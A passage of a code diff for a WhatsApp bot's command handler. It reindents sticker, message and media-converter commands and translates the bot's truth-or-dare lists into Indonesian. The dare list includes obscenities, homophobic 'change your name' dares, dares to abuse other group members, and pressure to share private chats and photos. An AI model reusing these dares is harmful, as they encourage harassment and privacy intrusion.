global.db.sticker[hash].locked) return replygcxeon('You have no permission to change this sticker command') - global.db.sticker[hash] = { - text, - mentionedJid: m.mentionedJid, - creator: m.sender, - at: + new Date, - locked: false, - } - replygcxeon(`Done!`) +if (!m.quoted) return replygcxeon('Reply Message!') +if (!m.quoted.fileSha256) return replygcxeon('SHA256 Hash Missing') +if (!text) return replygcxeon(`For What Command?`) +let hash = m.quoted.fileSha256.toString('base64') +if (global.db.sticker[hash] && global.db.sticker[hash].locked) return replygcxeon('You have no permission to change this sticker command') +global.db.sticker[hash] = { +text, +mentionedJid: m.mentionedJid, +creator: m.sender, +at: + new Date, +locked: false, +} +replygcxeon(`Done!`) } break case 'delcmd': { - let hash = m.quoted.fileSha256.toString('base64') - if (!hash) return replygcxeon(`No hashes`) - if (global.db.sticker[hash] && global.db.sticker[hash].locked) return replygcxeon('You have no permission to delete this sticker command') - delete global.db.sticker[hash] - replygcxeon(`Done!`) +let hash = m.quoted.fileSha256.toString('base64') +if (!hash) return replygcxeon(`No hashes`) +if (global.db.sticker[hash] && global.db.sticker[hash].locked) return replygcxeon('You have no permission to delete this sticker command') +delete global.db.sticker[hash] +replygcxeon(`Done!`) } break case 'listcmd': { - let teks = ` +let teks = ` *List Hash* Info: *bold* hash is Locked ${Object.entries(global.db.sticker).map(([key, value], index) => `${index + 1}. ${value.locked ? `*${key}*` : key} : ${value.text}`).join('\n')} `.trim() - XeonBotInc.sendText(m.chat, teks, m, { mentions: Object.values(global.db.sticker).map(x => x.mentionedJid).reduce((a,b) => [...a, ...b], []) }) +XeonBotInc.sendText(m.chat, teks, m, { mentions: Object.values(global.db.sticker).map(x => x.mentionedJid).reduce((a,b) => [...a, ...b], []) }) } break case 'lockcmd': { - if (!isCreator) return XeonStickOwner() - if (!m.quoted) return replygcxeon('Reply Message!') - if (!m.quoted.fileSha256) return replygcxeon('SHA256 Hash Missing') - let hash = m.quoted.fileSha256.toString('base64') - if (!(hash in global.db.sticker)) return replygcxeon('Hash not found in database') - global.db.sticker[hash].locked = !/^un/i.test(command) - replygcxeon('Done!') +if (!XeonTheCreator) return XeonStickOwner() +if (!m.quoted) return replygcxeon('Reply Message!') +if (!m.quoted.fileSha256) return replygcxeon('SHA256 Hash Missing') +let hash = m.quoted.fileSha256.toString('base64') +if (!(hash in global.db.sticker)) return replygcxeon('Hash not found in database') +global.db.sticker[hash].locked = !/^un/i.test(command) +replygcxeon('Done!') } break case 'addmsg': { - if (!m.quoted) return replygcxeon('Reply Message You Want To Save In Database') - if (!text) return replygcxeon(`Example : ${prefix + command} filename`) - let msgs = global.db.database - if (text.toLowerCase() in msgs) return replygcxeon(`'${text}' registered in the message list`) - msgs[text.toLowerCase()] = quoted.fakeObj +if (!m.quoted) return replygcxeon('Reply Message You Want To Save In Database') +if (!text) return replygcxeon(`Example : ${prefix + command} filename`) +let msgs = global.db.database +if (text.toLowerCase() in msgs) return replygcxeon(`'${text}' registered in the message list`) +msgs[text.toLowerCase()] = quoted.fakeObj replygcxeon(`Successfully added message in message list as '${text}' Access with ${prefix}getmsg ${text} @@ -3683,14 +14767,14 @@ View list of Messages With ${prefix}listmsg`) } break case 'getmsg': { - if (!text) return replygcxeon(`Example : ${prefix + command} file name\n\nView list of messages with ${prefix}listmsg`) - let msgs = global.db.database - if (!(text.toLowerCase() in msgs)) return replygcxeon(`'${text}' not listed in the message list`) - XeonBotInc.copyNForward(m.chat, msgs[text.toLowerCase()], true) +if (!text) return replygcxeon(`Example : ${prefix + command} file name\n\nView list of messages with ${prefix}listmsg`) +let msgs = global.db.database +if (!(text.toLowerCase() in msgs)) return replygcxeon(`'${text}' not listed in the message list`) +XeonBotInc.copyNForward(m.chat, msgs[text.toLowerCase()], true) } break case 'listmsg': { - let msgs = JSON.parse(fs.readFileSync('./database/database.json')) +let msgs = JSON.parse(fs.readFileSync('./database/database.json')) let seplit = Object.entries(global.db.database).map(([nama, isi]) => { return { nama, ...isi } }) let teks = ' DATABASE LIST \n\n' for (let i of seplit) { @@ -3809,48 +14893,38 @@ case 'lizard': case 'spank': case 'meow': case 'tickle':{ - axios.get(`https://nekos.life/api/v2/img/${command}`) +axios.get(`https://nekos.life/api/v2/img/${command}`) .then(({data}) => { XeonBotInc.sendImageAsSticker(from, data.url, m, { packname: global.packname, author: global.author }) }) } break case 'tomp4': case 'tovideo': { - if (!quoted) return replygcxeon('Reply to Sticker') - if (!/webp/.test(mime)) return replygcxeon(`reply sticker with caption *${prefix + command}*`) - XeonStickWait() +if (!quoted) return replygcxeon('Reply to Sticker') +if (!/webp/.test(mime)) return replygcxeon(`reply sticker with caption *${prefix + command}*`) +reply(mess.wait) let { webp2mp4File } = require('./lib/uploader') - let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) - let webpToMp4 = await webp2mp4File(media) - await XeonBotInc.sendMessage(m.chat, { video: { url: webpToMp4.result, caption: 'Convert Webp To Video' } }, { quoted: m }) - await fs.unlinkSync(media) +let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +let webpToMp4 = await webp2mp4File(media) +await XeonBotInc.sendMessage(m.chat, { video: { url: webpToMp4.result, caption: 'Convert Webp To Video' } }, { quoted: m }) +await fs.unlinkSync(media) } break - case 'toaud': case 'toaudio': { + case 'toaud': case 'tomp3': case 'toaudio': { if (!/video/.test(mime) && !/audio/.test(mime)) return replygcxeon(`Send/Reply Video/Audio You Want to Use as Audio With Caption ${prefix + command}`) if (!quoted) return replygcxeon(`Send/Reply Video/Audio You Want to Use as Audio With Caption ${prefix + command}`) - XeonStickWait() + reply(mess.wait) let media = await quoted.download() let { toAudio } = require('./lib/converter') let audio = await toAudio(media, 'mp4') XeonBotInc.sendMessage(m.chat, {audio: audio, mimetype: 'audio/mpeg'}, { quoted : m }) } break - case 'tomp3': { - if (/document/.test(mime)) return replygcxeon(`Send/Reply Video/Audio You Want to Convert into MP3 With Caption ${prefix + command}`) - if (!/video/.test(mime) && !/audio/.test(mime)) return replygcxeon(`Send/Reply Video/Audio You Want to Convert into MP3 With Caption ${prefix + command}`) - if (!quoted) return replygcxeon(`Send/Reply Video/Audio You Want to Convert into MP3 With Caption ${prefix + command}`) - XeonStickWait() - let media = await quoted.download() - let { toAudio } = require('./lib/converter') - let audio = await toAudio(media, 'mp4') - XeonBotInc.sendMessage(m.chat, {document: audio, mimetype: 'audio/mpeg', fileName: `Convert By ${XeonBotInc.user.name}.mp3`}, { quoted : m }) - } - break + case 'tovn': case 'toptt': { if (!/video/.test(mime) && !/audio/.test(mime)) return replygcxeon(`Reply Video/Audio That You Want To Be VN With Caption ${prefix + command}`) if (!quoted) return replygcxeon(`Reply Video/Audio That You Want To Be VN With Caption ${prefix + command}`) - XeonStickWait() + reply(mess.wait) let media = await quoted.download() let { toPTT } = require('./lib/converter') let audio = await toPTT(media, 'mp4') @@ -3858,14 +14932,14 @@ case 'tomp4': case 'tovideo': { } break case 'togif': { - if (!quoted) return replygcxeon('Reply video') - if (!/webp/.test(mime)) return replygcxeon(`reply sticker with caption *${prefix + command}*`) - XeonStickWait() +if (!quoted) return replygcxeon('Reply video') +if (!/webp/.test(mime)) return replygcxeon(`reply sticker with caption *${prefix + command}*`) +reply(mess.wait) let { webp2mp4File } = require('./lib/uploader') - let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) - let webpToMp4 = await webp2mp4File(media) - await XeonBotInc.sendMessage(m.chat, { video: { url: webpToMp4.result, caption: 'Convert Webp To Video' }, gifPlayback: true }, { quoted: m }) - await fs.unlinkSync(media) +let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +let webpToMp4 = await webp2mp4File(media) +await XeonBotInc.sendMessage(m.chat, { video: { url: webpToMp4.result, caption: 'Convert Webp To Video' }, gifPlayback: true }, { quoted: m }) +await fs.unlinkSync(media) } break case 'toqr':{ @@ -3877,190 +14951,190 @@ case 'tomp4': case 'tovideo': { let buff = getRandom('.jpg') await fs.writeFileSync('./'+buff, data) let medi = fs.readFileSync('./' + buff) - await XeonBotInc.sendMessage(from, { image: medi, caption:"Here you go!"}, { quoted: m }) + await XeonBotInc.sendMessage(from, { image: medi, caption:"Ini dia!!"}, { quoted: m }) setTimeout(() => { fs.unlinkSync(buff) }, 10000) } break case 'dare': const dare =[ - "eat 2 tablespoons of rice without any side dishes, if it's dragging you can drink", - "spill people who make you pause", - "call crush/pickle now and send ss", - "drop only emote every time you type on gc/pc for 1 day.", - "say Welcome to Who Wants To Be a Millionaire! to all the groups you have", - "call ex saying miss", - "sing the chorus of the last song you played", - "vn your ex/crush/girlfriend, says hi (name), wants to call, just a moment. I miss you so much", - "Bang on the table (which is at home) until you get scolded for being noisy", - "Tell random people _I was just told I was your twin first, we separated, then I had plastic surgery. And this is the most ciyusss_ thing", - "mention ex's name", - "make 1 rhyme for the members!", - "send ur whatsapp chat list", - "chat random people with gheto language then ss here", - "tell your own version of embarrassing things", - "tag the person you hate", - "Pretending to be possessed, for example: possessed by dog, possessed by grasshoppers, possessed by refrigerator, etc.", - "change name to *I AM DONKEY* for 24 hours", - "shout *ma chuda ma chuda ma chuda* in front of your house", - "snap/post boyfriend photo/crush", - "tell me your boyfriend type!", - "say *i hv crush on you, do you want to be my girlfriend?* to the opposite sex, the last time you chatted (submit on wa/tele), wait for him to reply, if you have, drop here", - "record ur voice that read *titar ke age do titar, titar ke piche do titar*", - "prank chat ex and say *i love u, please come back.* without saying dare!", - "chat to contact wa in the order according to your battery %, then tell him *i am lucky to hv you!*", - "change the name to *I am a child of randi* for 5 hours", - "type in bengali 24 hours", - "Use selmon bhoi photo for 3 days", - "drop a song quote then tag a suitable member for that quote", - "send voice note saying can i call u baby?", - "ss recent call whatsapp", - "Say *YOU ARE SO BEAUTIFUL DON'T LIE* to guys!", - "pop to a group member, and say fuck you", - "Act like a chicken in front of ur parents", - "Pick up a random book and read one page out loud in vn n send it here", - "Open your front door and howl like a wolf for 10 seconds", - "Take an embarrassing selfie and paste it on your profile picture", - "Let the group choose a word and a well known song. You have to sing that song and send it in voice note", - "Walk on your elbows and knees for as long as you can", - "sing national anthem in voice note", - "Breakdance for 30 seconds in the sitting roomรฐลธหœโ€š", - "Tell the saddest story you know", - "make a twerk dance video and put it on status for 5mins", - "Eat a raw piece of garlic", - "Show the last five people you texted and what the messages said", - "put your full name on status for 5hrs", - "make a short dance video without any filter just with a music and put it on ur status for 5hrs", - "call ur bestie, bitch", - "put your photo without filter on ur status for 10mins", - "say i love oli london in voice noteรฐลธยคยฃรฐลธยคยฃ", - "Send a message to your ex and say I still like you", - "call Crush/girlfriend/bestie now and screenshot here", - "pop to one of the group member personal chat and Say you ugly bustard", - "say YOU ARE BEAUTIFUL/HANDSOME to one of person who is in top of ur pinlist or the first person on ur chatlist", - "send voice notes and say, can i call u baby, if u r boy tag girl/if girl tag boy", - "write i love you (random grup member name, who is online) in personal chat, (if u r boy write girl name/if girl write boy name) take a snap of the pic and send it here", - "use any bollywood actor photo as ur pfp for 3 days", - "put your crush photo on status with caption, this is my crush", - "change name to I AM GAY for 5 hours", - "chat to any contact in whatsapp and say i will be ur bf/gf for 5hours", - "send voice note says i hv crush on you, want to be my girlfriend/boyfriend or not? to any random person from the grup(if u girl choose boy, if boy choose girl", - "slap ur butt hardly send the sound of slap through voice noteรฐลธหœโ€š", - "state ur gf/bf type and send the photo here with caption, ugliest girl/boy in the world", - "shout bravooooooooo and send here through voice note", - "snap your face then send it here", - "Send your photo with a caption, i am lesbian", - "shout using harsh words and send it here through vn", - "shout you bastard in front of your mom/papa", - "change the name to i am idiot for 24 hours", - "slap urself firmly and send the sound of slap through voice noteรฐลธหœโ€š", - "say i love the bot owner xeon through voice note", - "send your gf/bf pic here", - "make any tiktok dance challenge video and put it on status, u can delete it after 5hrs", - "breakup with your best friend for 5hrs without telling him/her that its a dare", - "tell one of your frnd that u love him/her and wanna marry him/her, without telling him/her that its a dare", - "say i love depak kalal through voice note", - "write i am feeling horny and put it on status, u can delete it only after 5hrs", - "write i am lesbian and put it on status, u can delete only after 5hrs", - "kiss your mommy or papa and say i love youรฐลธหœล’", - "put your father name on status for 5hrs", - "send abusive words in any grup, excepting this grup, and send screenshot proof here" +"Makan 2 sendok makan nasi tanpa lauk apapun, jika terasa berat, kamu bisa minum.", +"Sebutkan orang yang membuatmu terdiam", +"Telepon gebetan/pacar sekarang dan kirim tangkapan layar di sini", +"Kirim emot hanya setiap kali kamu mengetik di grup obrolan/obrolan pribadi selama 1 hari.", +"Ucapkan 'Selamat datang di Who Wants To Be a Millionaire!' ke semua grup yang kamu punya", +"Telepon mantan dengan mengatakan rindu", +"nyanyikan chorus dari lagu terakhir yang kamu mainkan", +"Rekam suara untuk mantan/pacar/gebemmu, katakan 'Hai (nama), ingin menelepon, tunggu sebentar. Aku sangat merindukanmu'", +"Pukul meja (yang ada di rumah) sampai kamu dimarahi karena berisik", +"Katakan pada orang asing 'Aku baru saja diberitahu bahwa aku adalah saudaramu yang pertama, kami berpisah, lalu aku melakukan operasi plastik. Dan ini hal paling 'ciyusss'", +"Sebutkan nama mantan", +"buat 1 sajak untuk anggota grup!", +"Kirim daftar percakapan WhatsAppmu", +"Obrol dengan orang asing dengan bahasa ghetto lalu tangkap layar di sini", +"Ceritakan versimu sendiri tentang hal-hal memalukan", +"Tag orang yang kamu benci", +"Pura-pura seperti terkena pengaruh, misalnya: terkena pengaruh anjing, terkena pengaruh belalang, terkena pengaruh lemari es, dll.", +"Ubah nama menjadi *I AM DONKEY* selama 24 jam", +"Teriak *ma chuda ma chuda ma chuda* di depan rumahmu", +"Ambil foto/potret pacar atau gebetanmu dan kirimkan di sini", +"Ceritakan tipe pacar yang kamu sukai!", +"Ucapkan *aku naksir kamu, maukah kamu menjadi pacarku?* kepada lawan jenis, terakhir kali kamu berbicara dengannya (kirim di WA/Telegram), tunggu sampai dia membalas, jika sudah, berikan di sini", +"Rekam suaramu yang membaca *titar ke age do titar, titar ke piche do titar*", +"Chatingan lelucon dengan mantan dan katakan *aku mencintaimu, tolong kembalilah.* tanpa menyebutkan bahwa itu adalah tantangan!", +"Obrol dengan kontak WhatsApp berurutan sesuai dengan persentase baterai ponselmu, lalu katakan 'Aku beruntung memiliki kamu!'", +"Ubah nama menjadi *I am a child of randi* selama 5 jam", +"Ketik dalam bahasa Bengali selama 24 jam", +"Gunakan foto Selmon Bhoi selama 3 hari", +"Kirim kutipan lagu lalu tag anggota yang cocok untuk kutipan tersebut", +"Kirim pesan suara dengan ucapan 'Bolehkah aku memanggilmu sayang?'", +"Tangkapan layar percakapan terakhir di WhatsAppmu", +"Ucapkan *KAMU SANGAT CANTIK, JANGAN BERBOHONG* kepada teman pria!", +"Telepon salah satu anggota grup dan katakan kata kasar kepada mereka", +"Berlakulah seperti ayam di depan orangtua kamu", +"Ambil sebuah buku secara acak dan bacakan satu halaman secara keras dan rekam suara lalu kirimkan di sini", +"Buka pintu depan rumahmu dan menyalak seperti serigala selama 10 detik", +"Ambil foto selfie yang memalukan dan jadikan sebagai foto profilmu", +"Biar grup memilih sebuah kata dan lagu yang dikenal. Kamu harus menyanyikan lagu tersebut dan kirim dalam bentuk pesan suara di sini", +"Berjalanlah dengan menopang dengan siku dan lutut selama yang kamu bisa", +"nyanyikan lagu kebangsaan dalam pesan suara", +"Lakukan breakdance selama 30 detik di ruang tamu", +"Ceritakan cerita sedih yang kamu ketahui", +"Buat video tari twerk singkat dan unggah sebagai status selama 5 menit", +"Makan sepotong bawang putih mentah", +"Tunjukkan lima orang terakhir yang kamu kirim pesan dan isi pesan mereka", +"Jadikan nama lengkapmu sebagai status selama 5 jam", +"Buat video tari singkat tanpa filter hanya dengan musik dan unggah sebagai status selama 5 jam", +"Telepon sahabatmu, omong kosong", +"Jadikan foto dirimu tanpa filter sebagai status selama 10 menit", +"Ucapkan 'aku cinta Oli London' dalam pesan suara ๐Ÿ˜„", +"Kirim pesan kepada mantanmu dan katakan bahwa kamu masih menyukainya", +"Telepon gebetan/pacar/sahabatmu sekarang dan tangkapan layar di sini", +"Berkata kasar pada salah satu anggota grup di percakapan pribadi dan katakan 'kamu jelek, beban'", +"Ucapkan 'KAMU CANTIK/GANTENG' pada salah satu orang yang ada di atas pinlistmu atau orang pertama di daftar percakapanmu", +"Kirim pesan suara dan katakan 'Bisakah aku memanggilmu sayang?'. Jika kamu seorang pria, sebutkan nama seorang wanita. Jika kamu seorang wanita, sebutkan nama seorang pria", +"Tulis 'Aku mencintaimu (nama anggota grup acak yang sedang online) dalam percakapan pribadi (jika kamu pria, tulis nama wanita; jika kamu wanita, tulis nama pria), ambil tangkapan layar dan kirimkan di sini", +"Gunakan foto aktor Bollywood sebagai foto profilmu selama 3 hari", +"Jadikan foto crushmu sebagai status dengan caption 'Ini adalah crushku'", +"Ubah nama menjadi *I AM GAY* selama 5 jam", +"Obrol dengan salah satu kontak di WhatsApp dan katakan 'Aku akan menjadi pacarmu selama 5 jam'", +"Kirim pesan suara dan katakan 'Aku naksir kamu, maukah kamu menjadi pacarku?' kepada orang acak dari grup (jika kamu perempuan, pilih nama laki-laki; jika kamu laki-laki, pilih nama perempuan)", +"Pukul pantatmu dengan keras dan kirim suara tamparan melalui pesan suara ๐Ÿ˜‚", +"Sebutkan tipe pacarmu dan kirim fotonya di sini dengan keterangan 'Perempuan/laki-laki paling jelek di dunia'", +"Teriak 'bravooooooooo' dan kirimkan melalui pesan suara di sini", +"Ambil foto wajahmu dan kirim di sini", +"Kirim foto dirimu dengan keterangan 'Aku lesbian'", +"Teriak dengan menggunakan kata-kata kasar dan kirim melalui pesan suara", +"Teriak 'kamu bajingan' di depan ibu atau ayahmu", +"Ubah nama menjadi *aku bodoh selama 24 jam*", +"Pukul dirimu sendiri dengan mantap dan kirim suara pukulan melalui pesan suara ๐Ÿ˜‚", +"Ucapkan 'aku cinta pemilik bot danz' melalui pesan suara", +"Kirim foto pacar atau gebetanmu di sini", +"Buat video tantangan tarian TikTok apa pun dan unggah sebagai status, kamu bisa menghapusnya setelah 5 jam", +"Putuskan pertemanan dengan sahabatmu selama 5 jam tanpa memberitahunya bahwa itu adalah tantangan", +"Katakan pada salah satu temanmu bahwa kamu mencintainya dan ingin menikahinya, tanpa memberitahunya bahwa itu adalah tantangan", +"Ucapkan 'aku cinta Depak Kalal' melalui pesan suara", +"Tulis 'aku merasa horny' dan unggah sebagai status, kamu hanya bisa menghapusnya setelah 5 jam", +"Tulis 'aku lesbian' dan unggah sebagai status, kamu hanya bisa menghapusnya setelah 5 jam", +"Cium ibu atau ayahmu dan katakan 'aku mencintaimu' ๐Ÿ˜Œ", +"Jadikan nama ayahmu sebagai status selama 5 jam", +"Kirim kata-kata kasar dalam grup manapun, kecuali grup ini, dan kirim bukti tangkapan layarnya di sini" ] const xeondare = dare[Math.floor(Math.random() * dare.length)] bufferdare = await getBuffer(`https://i.ibb.co/305yt26/bf84f20635dedd5dde31e7e5b6983ae9.jpg`) XeonBotInc.sendMessage(from, { image: bufferdare, caption: '_You choose DARE_\n'+ xeondare }, {quoted:m}) break - break + break case 'truth': const truth =[ - "Have you ever liked anyone? How long?", - "If you can or if you want, which gc/outside gc would you make friends with? (maybe different/same type)", - "apa ketakutan terbesar kamu?", - "Have you ever liked someone and felt that person likes you too?", - "What is the name of your friend's ex-girlfriend that you used to secretly like?", - "Have you ever stolen money from your father or mom? The reason?", - "What makes you happy when you're sad?", - "Ever had a one sided love? if so who? how does it feel bro?", - "been someone's mistress?", - "the most feared thing", - "Who is the most influential person in your life?", - "what proud thing did you get this year", - "Who is the person who can make you awesome", - "Who is the person who has ever made you very happy?", - "Who is closest to your ideal type of partner here", - "Who do you like to play with??", - "Have you ever rejected people? the reason why?", - "Mention an incident that made you hurt that you still remember", - "What achievements have you got this year??", - "What's your worst habit at school??", - "What song do you sing most in the shower", - "Have you ever had a near-death experience", - "When was the last time you were really angry. Why?", - "Who is the last person who called you", - "Do you have any hidden talents, What are they", - "What word do you hate the most?", - "What is the last YouTube video you watched?", - "What is the last thing you Googled", - "Who in this group would you want to swap lives with for a week", - "What is the scariest thing thats ever happened to you", - "Have you ever farted and blamed it on someone else", - "When is the last time you made someone else cry", - "Have you ever ghosted a friend", - "Have you ever seen a dead body", - "Which of your family members annoys you the most and why", - "If you had to delete one app from your phone, which one would it be", - "What app do you waste the most time on", - "Have you ever faked sick to get home from school", - "What is the most embarrassing item in your room", - "What five items would you bring if you got stuck on a desert island", - "Have you ever laughed so hard you peed your pants", - "Do you smell your own farts", - "have u ever peed on the bed while sleeping ??", - "What is the biggest mistake you have ever made", - "Have you ever cheated in an exam", - "What is the worst thing you have ever done", - "When was the last time you cried", - "whom do you love the most among ur parents", - "do u sometimes put ur finger in ur nosetril?", - "who was ur crush during the school days", - "tell honestly, do u like any boy in this grup", - "have you ever liked anyone? how long?", - "do you have gf/bf','what is your biggest fear?", - "have you ever liked someone and felt that person likes you too?", - "What is the name of your ex boyfriend of your friend that you once liked quietly?", - "ever did you steal your mothers money or your fathers money", - "what makes you happy when you are sad", - "do you like someone who is in this grup? if you then who?", - "have you ever been cheated on by people?", - "who is the most important person in your life", - "what proud things did you get this year", - "who is the person who can make you happy when u r sad", - "who is the person who ever made you feel uncomfortable", - "have you ever lied to your parents", - "do you still like ur ex", - "who do you like to play together with?", - "have you ever stolen big thing in ur life? the reason why?", - "Mention the incident that makes you hurt that you still remember", - "what achievements have you got this year?", - "what was your worst habit at school?", - "do you love the bot creator, xeon?รฐลธยคยฃ", - "have you ever thought of taking revenge from ur teacher?", - "do you like current prime minister of ur country", - "you non veg or veg", - "if you could be invisible, what is the first thing you would do", - "what is a secret you kept from your parents", - "Who is your secret crush", - "whois the last person you creeped on social media", - "If a genie granted you three wishes, what would you ask for", - "What is your biggest regret", - "What animal do you think you most look like", - "How many selfies do you take a day", - "What was your favorite childhood show", - "if you could be a fictional character for a day, who would you choose", - "whom do you text the most", - "What is the biggest lie you ever told your parents", - "Who is your celebrity crush", - "Whats the strangest dream you have ever had", - "do you play pubg, if you then send ur id number" +"Pernahkah kamu menyukai seseorang? Berapa lama?", + "Jika kamu bisa atau jika kamu mau, grup obrolan atau grup di luar mana yang ingin kamu jadikan teman? (bisa berbeda/jenis yang sama)", + "Apa ketakutan terbesar kamu?", + "Pernahkah kamu menyukai seseorang dan merasa bahwa orang tersebut juga menyukaimu?", + "Siapa nama mantan pacar temanmu yang dulu pernah kamu sukai diam-diam?", + "Pernahkah kamu mengambil uang dari ayah atau ibumu? Alasannya?", + "Apa yang membuatmu bahagia saat sedang sedih?", + "Pernahkah kamu memiliki perasaan cinta satu arah? jika ya kepada siapa? bagaimana perasaannya, bro?", + "Pernah menjadi selingkuhan seseorang?", + "Hal paling ditakuti?", + "Siapa orang yang paling berpengaruh dalam hidupmu?", + "Prestasi apa yang berhasil kamu raih tahun ini?", + "Siapa orang yang bisa membuatmu keren?", + "Siapa orang yang pernah membuatmu sangat bahagia?", + "Siapa yang paling mendekati tipe pasangan idamanmu di sini?", + "Dengan siapa kamu suka bermain?", + "Pernahkah kamu menolak seseorang? alasan mengapa?", + "Sebutkan insiden yang pernah menyakiti perasaanmu yang masih kamu ingat", + "Prestasi apa yang sudah kamu capai tahun ini?", + "Kebiasaan terburukmu di sekolah?", + "Lagu apa yang paling sering kamu nyanyikan di dalam kamar mandi?", + "Pernahkah kamu mengalami pengalaman dekat dengan kematian?", + "Kapan terakhir kali kamu sangat marah? Mengapa?", + "Siapa orang terakhir yang meneleponmu?", + "Apakah kamu memiliki bakat tersembunyi? Apa sajakah itu?", + "Kata apa yang paling kamu benci?", + "Video YouTube terakhir apa yang kamu tonton?", + "Hal terakhir apa yang kamu cari di Google?", + "Dalam grup ini, dengan siapa yang ingin kamu tukar kehidupan selama seminggu?", + "Apa hal paling menakutkan yang pernah terjadi padamu?", + "Pernahkah kamu kentut dan menyalahkannya kepada orang lain?", + "Kapan terakhir kali kamu membuat orang lain menangis?", + "Pernahkah kamu menghilangkan jejak dari seorang teman?", + "Pernahkah kamu melihat mayat?", + "Anggota keluargamu yang paling mengganggumu dan mengapa?", + "Jika kamu harus menghapus satu aplikasi dari ponselmu, aplikasi mana yang akan kamu hapus?", + "Aplikasi apa yang paling sering kamu buang-buang waktu di dalamnya?", + "Pernahkah kamu berpura-pura sakit untuk pulang dari sekolah?", + "Apa barang paling memalukan di dalam kamar kamarmu?", + "Jika terdampar di pulau terpencil, lima barang apa yang akan kamu bawa?", + "Pernahkah kamu tertawa begitu keras hingga pipismu basah?", + "Apakah kamu mencium bau kentutmu sendiri?", + "Pernahkah kamu kencing di tempat tidur saat tidur?", + "Apa kesalahan terbesar yang pernah kamu buat?", + "Pernahkah kamu mencontek dalam ujian?", + "Apa hal terburuk yang pernah kamu lakukan?", + "Kapan terakhir kali kamu menangis?", + "Di antara orang tua kamu, siapa yang kamu cintai paling?", + "Apakah kamu kadang-kadang memasukkan jari ke dalam lubang hidungmu?", + "Siapa pujaan hati kamu saat masa sekolah dulu?", + "Berbicara jujur, apakah kamu menyukai seorang anak laki-laki dalam grup ini?", + "Pernahkah kamu menyukai seseorang? Berapa lama?", + "Apakah kamu punya pacar? Apa ketakutan terbesarmu?", + "Pernahkah kamu menyukai seseorang dan merasa bahwa orang tersebut juga menyukaimu?", + "Siapa nama mantan pacar temanmu yang pernah kamu sukai diam-diam?", + "Pernahkah kamu mengambil uang milik ibu atau ayahmu? Apa alasannya?", + "Apa yang membuatmu bahagia saat sedang sedih?", + "Apakah kamu menyukai seseorang dalam grup ini? Jika ya, siapa?", + "Pernahkah kamu ditipu oleh seseorang?", + "Siapa orang yang paling penting dalam hidupmu?", + "Prestasi apa yang telah kamu capai tahun ini?", + "Siapa orang yang bisa membuatmu bahagia saat sedang sedih?", + "Siapa orang yang pernah membuatmu merasa tidak nyaman?", + "Pernahkah kamu berbohong kepada orang tua?", + "Apakah kamu masih menyukai mantan pacarmu?", + "Siapa yang ingin kamu ajak bermain bersama?", + "Pernahkah kamu mencuri sesuatu yang besar? Alasannya apa?", + "Sebutkan insiden yang pernah membuatmu terluka dan masih kamu ingat?", + "Prestasi apa yang sudah kamu raih tahun ini?", + "Apa kebiasaan terburukmu saat di sekolah?", + "Apakah kamu mencintai pencipta bot ini, Dani ๐Ÿ˜„", + "Pernahkah kamu berpikir untuk membalas dendam pada guru?", + "Apakah kamu menyukai perdana menteri saat ini di negaramu?", + "Apakah kamu vegetarian atau non-vegetarian?", + "Jika kamu bisa menjadi tak terlihat, apa yang pertama kali akan kamu lakukan?", + "Apa rahasia yang kamu simpan dari orang tua kamu?", + "Siapa pujaan hati rahasiamu?", + "Siapa orang terakhir yang kamu intip di media sosial?", + "Jika seorang jin memberimu tiga permintaan, apa yang akan kamu minta?", + "Apa penyesalan terbesarmu?", + "Hewan seperti apa menurutmu yang paling mirip denganmu?", + "Berapa banyak foto selfie yang kamu ambil dalam sehari?", + "Apa acara favoritmu saat masa kanak-kanak?", + "Jika kamu bisa menjadi karakter fiksi dalam satu hari, siapa yang akan kamu pilih?", + "Dengan siapa kamu paling sering mengirim pesan?", + "Apa kebohongan terbesar yang pernah kamu ceritakan kepada orang tua kamu?", + "Siapa selebriti yang menjadi pujaan hatimu?", + "Mimpi paling aneh yang pernah kamu alami?", + "Apakah kamu bermain PUBG? Jika ya, berikan nomor ID-mu." ] const xeontruth = truth[Math.floor(Math.random() * truth.length)] buffertruth = await getBuffer(`https://i.ibb.co/305yt26/bf84f20635dedd5dde31e7e5b6983ae9.jpg`) @@ -4069,12 +15143,12 @@ case 'tomp4': case 'tovideo': { case 'checkme': neme = args.join(" ") bet = `${sender}` - var sifat = ['Fine','Unfriendly','Chapri','Nibba/nibbi','Annoying','Dilapidated','Angry person','Polite','Burden','Great','Cringe','Liar'] - var hoby = ['Cooking','Dancing','Playing','Gaming','Painting','Helping Others','Watching anime','Reading','Riding Bike','Singing','Chatting','Sharing Memes','Drawing','Eating Parents Money','Playing Truth or Dare','Staying Alone'] + var sifat = ["Baik", "Tidak ramah", "Chapri", "Nibba/nibbi", "Mengganggu", "Rusak", "Orang marah", "Sopan", "Beban", "Hebat", "Cringe", "Pembohong"] + var hoby = ['Memasak','Menari','Bermain','Bermain game','Melukis','Membantu Orang Lain','Menonton anime','Membaca','Bersepeda','Bernyanyi','Berbincang-bincang','Berbagi Meme','Menggambar','Menghabiskan Uang Orang Tua','Bermain Truth or Dare','Menghabiskan Waktu Sendirian'] var bukcin = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] var arp = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] - var cakep = ['Yes','No','Very Ugly','Very Handsome'] - var wetak= ['Caring','Generous','Angry person','Sorry','Submissive','Fine','Im sorry','Kind Hearted','Patient','UwU','Top','Helpful'] + var cakep = ['Ya', 'Tidak', 'Sangat jelek', 'Sangat tampan'] + var wetak= ['Peduli','Murah hati','Orang marah','Maaf','Tunduk','Baik','Maafkan aku','Berhati baik','Sabar','UwU','Terbaik','Membantu'] var baikk = 